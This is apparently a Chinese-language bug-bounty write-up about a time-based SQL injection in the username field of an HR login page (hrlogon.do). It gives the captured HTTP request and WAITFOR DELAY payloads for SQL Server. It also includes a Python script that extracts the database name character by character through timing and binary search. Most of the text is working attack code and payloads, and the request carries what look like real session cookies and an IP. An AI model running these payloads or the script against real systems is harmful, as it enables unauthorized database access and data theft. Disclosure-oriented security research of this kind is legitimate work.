挖洞经历之SQLServer time-based注入

使用xray扫出目标username参数存在sql注入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /templates/index/hrlogon.do HTTP/1.1
Host: xxx.com
Content-Length: 84
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://xxx.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://xxx.com/templates/index/hrlogon.jsp
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: appdate=2020.09.21; bosflag=hl; JSESSIONID=13E35873CC53C0B4598A2FD66F8B348C; radius=14.103.218.82; uudid=cms1553b202-f079-153c-38ac-1c3dbb2135c5
Connection: close

logon.x=link&username=admin';waitfor/**/delay'0:0:3&password=test&appdate=2020-09-21

尝试payload:

1
2
admin';waitfor/**/delay'0:0:1
admin';waitfor/**/delay'0:0:3

返回的时间明显不一样。

猜测数据库名的长度:

1
2
3
admin';if(len(db_name())=4)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=5)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2
admin';if(len(db_name())=6)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2

试了多次后基本判定存在注入无疑,并且数据库名长度为5。编写poc脚本,利用二分法猜解。

image

image

poc脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#coding=utf-8
import requests
import time

headers = {
'Origin':'http://xxx.com',
'Content-Type':'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://xxx.com/templates/index/hrlogon.jsp'
}

url = 'http://xxx.com/templates/index/hrlogon.do'
def getDbLength():
for i in range(1, 20):
poc = "admin';if(len(db_name())=%d)waitfor/**/delay'0:0:5'else/**/waitfor/**/delay'0:0:2" % (i, )
data = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc)
print(i, poc)
t1 = time.time()
r = requests.post(url, headers=headers, data=data)
t2 = time.time()
if t2-t1 >= 5:
print('The db length is: ', i)
break

def check(data):
t1 = time.time()
r = requests.post(url, headers=headers, data=data)
t2 = time.time()
if t2 - t1 >= 3:
return True
else:
return False

def getDbName():
length = 5 #getDbLength()
db_name = ''
for i in range(1, length + 1):
_min, _max = 0, 140
while _min <= _max:
middle = int((_min + _max) / 2)
poc1 = "admin';if(ascii(substring((db_name()),%d,1))=%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
i, middle)
poc2 = "admin';if(ascii(substring((db_name()),%d,1))>%d)waitfor/**/delay'0:0:3'/**/else waitfor/**/delay'0:0:1" % (
i, middle)
data1 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc1,)
data2 = "logon.x=link&username=%s&password=test&appdate=2020-09-21" % (poc2,)
if check(data1): # guess right
print(chr(middle))
db_name += chr(middle)
break

if check(data2):
print("目标字符 > ", middle)
_min = middle + 1

else:
print("目标字符 < ", middle)
_max = middle - 1
print(db_name)
getDbLength()
#getDbName()

提交SRC证明到这里即可~